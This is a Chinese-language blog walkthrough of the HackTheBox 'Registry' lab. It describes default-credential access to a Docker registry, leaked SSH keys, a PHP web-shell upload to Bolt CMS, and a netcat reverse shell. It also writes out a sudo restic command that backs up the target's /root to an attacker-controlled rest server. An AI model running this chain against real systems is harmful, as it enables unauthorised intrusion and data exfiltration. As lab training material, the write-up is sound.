**
HackTheBox-Linux-Registry-Walkthrough
**
靶机地址:https://www.hackthebox.eu/home/machines/profile/213
靶机难度:中级(4.5/10)
靶机发布日期:2020年3月24日
靶机描述:
Registry is a hard difficulty Linux machine, which features Docker and the Bolt CMS running on Nginx. Docker registry API access is configured with default credentials, which allows us to pull the repository files. Using the disclosed information it is possible to obtain an initial foothold. User credentials for Bolt CMS can be obtained, and exploiting the CMS provides us with access to the www-data user, who has a sudo entry to perform backups as root using the restic program. After taking a backup of the root folder remotely and mounting the repository with restic, the root flag is obtained.
作者:大余
时间:2020-07-29
请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。
一、信息收集
可以看到靶机的IP是10.10.10.159…
我这里利用Masscan快速的扫描出了22,80,443端口,在利用nmap详细的扫描了这些端口情况…
还发现了域名docker.registry.htb…看图即可
访问可看到是默认的nginx页面…
访问nmap发现的域名,是空白页面??爆破
/v2页面去看看…
这是个身份认证登录页面,使用默认密码登录看看…
使用默认密码成功登录,这是个docker平台…
https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/
https://docs.docker.com/registry/spec/api/#listing-repositories
https://blog.dixitaditya.com/exploiting-docker-registry/
可看到这里有三篇文章详细的介绍了docker如何利用提权的方法和原理等…最好通读下…
命令:https://docker.registry.htb/v2/bolt-image/manifests/latest
进入下载即可…文章提到的信息,存在隐藏的标签列表…
下载查看,这是一些blob列表信息…全部下载下来…
blob列表有工具可以下载,但是这里条数不多,我就没用工具了…
工具介绍:https://github.com/NotSoSecure/docker_fetch/
下载解压缩…这里我在苹果上操作了…
可看到其中一个文件是ssh登录详解的介绍…其中包含了:
GkOcz221Ftb3ugog密码信息…
另外一个文件包含了所有底层目录信息…挺大的…
发现了id_rsa密匙信息…
利用密码和id_rsa成功登录bolt用户界面…并获得了user_flag信息,这次flag全英文的,不符合HTB风格啊…
枚举发现了php脚本,bolt bolt??先放着…
尝试bolt目录,这是个登录页面…这里无法爆破…
利用scp下载数据库文件/var/www/html/bolt/app/database/bolt.db…
可看到从bolt_users表中获取管理员用户的哈希密码…爆破…
通过开膛手获得了密码…
Configuration > Main Configuration中查看到了文件上传的类型…Save,可以修改…
在Configuration中添加php保存即可上传php文件…这里30秒左右会自动删除shell…有点难受…
可看到shell是有用的…
这里尝试了几次,shell删除上传,很烦人…
而且普通情况还拿不到反弹的shell…
检查了靶机底层的数据流情况,可看到这里三次握手做了限制…要么回包到本地,要么就是监听靶机方式进行拿shell…
我利用nc监听靶机获得了反弹外壳…www权限
前面就发现了back…php脚本,还介绍了bolt bolt…
sudo -l 就发现了restic漏洞利用提权…都知道这是个备份程序…
下面可以以root身份进行编程,通过restic将数据备份到远程服务器上即可…
得先在本地apt install restic,然后启动服务器备份的目录dayu…并设置了密码
然后需要把出站链接流量转发到本地kali上…
命令:
service docker restart
docker pull restic/rest-server
docker run -p 8000:8000 -v /home/dayu/桌面/dayuRegistry/dayu/:/dayu -it restic/rest-server sh
为用户设置密码和转发流量后,可以初始化一个新的存储库以进行备份…
命令:sudo restic backup -r rest:http://127.0.0.1:8000/ /root
将靶机上的root目录全部通过端口流量转发进行备份…
然后通过restic -r 还原快照,获取到了靶机上root目录所有信息…查看到了id_rsa和flag信息…
可看到还有个cron.sh脚本,这就是每次删除文件上传的shell…可恨
通过id_rsa直接登录获得了root权限…
这台靶机主要盲点在docker-restic这块…前面应该是遇到过,我换可kali后安装不上…就浪费了很多很多时间…
后来通过朋友知道了方法,安装上了后才继续进行restic的提权,也可能是自己不够精通,可能有别的方法能拿到flag?
加油
由于我们已经成功得到root权限查看user和root.txt,因此完成这台中级的靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。